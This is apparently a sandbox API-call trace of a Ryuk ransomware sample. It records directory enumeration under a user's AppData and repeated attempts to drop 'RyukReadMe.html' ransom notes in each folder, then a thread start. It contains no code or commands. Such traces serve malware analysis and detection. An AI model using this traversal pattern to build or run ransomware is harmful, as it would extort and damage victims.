	[0209.968] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0209.972] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.972] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0209.973] SetLastError (dwErrCode=0x0) 
	[0209.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.973] GetLastError () returned 0x3
	[0209.973] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.973] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.973] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.973] SetLastError (dwErrCode=0x0) 
	[0209.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.973] GetLastError () returned 0x3
	[0209.974] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.974] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
	[0209.974] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0209.974] SetLastError (dwErrCode=0x0) 
	[0209.974] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.974] GetLastError () returned 0x3
	[0209.974] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.975] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0209.975] SetLastError (dwErrCode=0x0) 
	[0209.975] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.975] GetLastError () returned 0x3
	[0209.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.975] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0209.976] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.976] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0209.976] SetLastError (dwErrCode=0x0) 
	[0209.976] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.976] GetLastError () returned 0x3
	[0209.976] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.977] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.977] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.977] SetLastError (dwErrCode=0x0) 
	[0209.977] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.977] GetLastError () returned 0x3
	[0209.977] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.977] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0209.977] SetLastError (dwErrCode=0x0) 
	[0209.977] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.977] GetLastError () returned 0x3
	[0209.978] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.978] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.978] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.978] SetLastError (dwErrCode=0x0) 
	[0209.978] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\user\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.978] GetLastError () returned 0x3
	[0209.978] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0209.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.978] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0
	[0209.979] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0209.979] SetLastError (dwErrCode=0x0) 
	[0209.979] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.979] GetLastError () returned 0x3
	[0209.979] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.979] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.979] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 1
	[0209.979] SetLastError (dwErrCode=0x0) 
	[0209.979] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.979] GetLastError () returned 0x3
	[0209.980] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.980] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0209.980] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0209.980] SetLastError (dwErrCode=0x0) 
	[0209.980] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\onetconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.980] GetLastError () returned 0x3
	[0209.980] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0209.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.980] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="ONetConfig", cAlternateFileName="ONETCO~1")) returned 0
	[0209.981] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0209.981] SetLastError (dwErrCode=0x0) 
	[0209.981] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.981] GetLastError () returned 0x3
	[0209.981] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0209.981] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.981] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
	[0209.981] SetLastError (dwErrCode=0x0) 
	[0209.981] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc
	[0209.982] GetLastError () returned 0xb7
	[0209.982] CloseHandle (hObject=0x5cc) returned 1
	[0209.982] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0209.983] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0209.983] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x200, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
	[0209.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0209.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0210.001] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
